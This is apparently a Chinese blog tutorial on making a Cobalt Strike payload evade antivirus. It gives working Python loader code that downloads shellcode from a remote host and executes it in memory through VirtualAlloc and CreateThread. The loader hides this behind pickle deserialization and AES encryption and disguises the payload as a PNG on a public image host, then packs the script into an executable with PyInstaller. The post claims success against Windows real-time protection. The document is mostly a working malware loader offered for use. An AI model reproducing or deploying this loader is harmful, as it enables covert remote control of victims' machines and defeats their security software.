• Python反序列化免杀上线CS


    • 首先使用cs生成一个64位的Python Payload
      在这里插入图片描述
      在这里插入图片描述

    • 将生成的文件存放到文件夹中,由于我的cs运行在kali虚拟机上,我将payload放到web目录下,方便其他主机访问获取
      在这里插入图片描述

    • 我的kali虚拟机IP为192.168.204.128,访问获取payload
      在这里插入图片描述

    • 截取其中的Payload,并进行base64编码,我使用的是科来编码工具
      在这里插入图片描述

    • 把这一串子base64放到公网服务器上,并开启web服务,我这里就用另一台虚拟机充当公网服务器,IP为192.168.204.3
      在这里插入图片描述

    • 使用以下脚本将 Payload进行反序列化,脚本中通过web服务获取payload

    import pickle
    import base64
    
    shellcode = """
    import ctypes,urllib.request,codecs,base64
    shellcode = urllib.request.urlopen('http://192.168.204.3/py.txt').read()
    shellcode = base64.b64decode(shellcode)
    shellcode =codecs.escape_decode(shellcode)[0]
    shellcode = bytearray(shellcode)
    # 设置VirtualAlloc返回类型为ctypes.c_uint64
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    # 申请内存
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
    # 放入shellcode
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlMoveMemory(
        ctypes.c_uint64(ptr), 
        buf, 
        ctypes.c_int(len(shellcode))
    )
    # 创建一个线程从shellcode防止位置首地址开始执行
    handle = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0), 
        ctypes.c_int(0), 
        ctypes.c_uint64(ptr), 
        ctypes.c_int(0), 
        ctypes.c_int(0), 
        ctypes.pointer(ctypes.c_int(0))
    )
    # 等待上面创建的线程运行完
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""
    
    
    class A(object):
        def __reduce__(self):
            return (exec, (shellcode,))
    
    ret = pickle.dumps(A())
    ret_base64 = base64.b64encode(ret)
    print(ret_base64)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 为了起到免杀效果,将shellcode进行序列化后在进行base64编码,但仅仅这样并不能绕过windows的,所以将上列脚本进行AES加密后在base-64编码
      在这里插入图片描述
      在这里插入图片描述
    • 创建一个文本,添加png幻术头89504E47和加密后的数据,把我们的payload伪装成一个图片
      在这里插入图片描述
    • 将图片上传到妙速图床,后面可以通过网络获取payload
      在这里插入图片描述
      在这里插入图片描述
    • 编写脚本,获取我们上传的图片,并截取payload,然后解密通过反序列化运行
    import base64
    import pickle as json
    import ctypes
    import urllib.request
    import codecs
    from Crypto.Cipher import AES
    
    shell = urllib.request.urlopen('http://i.miaosu.bid/data/f_87013496.png').read()[8:]
    shell = shell.strip(b'\r\n')
    pick = f"""
    json.loads(base64.b64decode(AES.new(b'ysIx0oKueJV15dkA4P3WvDjnq9giB62=', AES.MODE_CBC, b'jbMNXRf954m0WUzQ').decrypt(base64.b64decode(({shell})))))
    """
    class A(object):
        def __reduce__(self):
            return (exec, (pick,))
    ret = json.dumps(A())
    json.loads(ret)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 使用pyInstaller将该脚本打包生产exe文件:pyinstaller -F cs_pickle_load.py --noconsole
      在这里插入图片描述
    • 我将该exe文件放到另一个windows虚拟机上,该虚拟机IP为192.168.204.135
      在这里插入图片描述
      在这里插入图片描述
    • windows在开启实时保护的情况下,依然成功上线
      在这里插入图片描述
  • 相关阅读:
    中小企业数字化转型的现状分析
    北极星Polaris+Gateway动态网关配置!
    如何自己生成fip.bin在Milkv-duo上跑freertos
    [SQL开发笔记]IN操作符: 在WHERE子句中规定多个值
    【Axure高保真原型】人物卡片多条件搜索案例
    【Bug记录】@RequestBody参数属性为空的问题
    【VUE3】setup语法糖使用记录
    图的遍历-DFS,BFS(代码详解)
    JUC并发编程——ForkJoin与异步回调
    PAM从入门到精通(十二)
  • 原文地址:https://blog.csdn.net/qq_57686163/article/details/126444240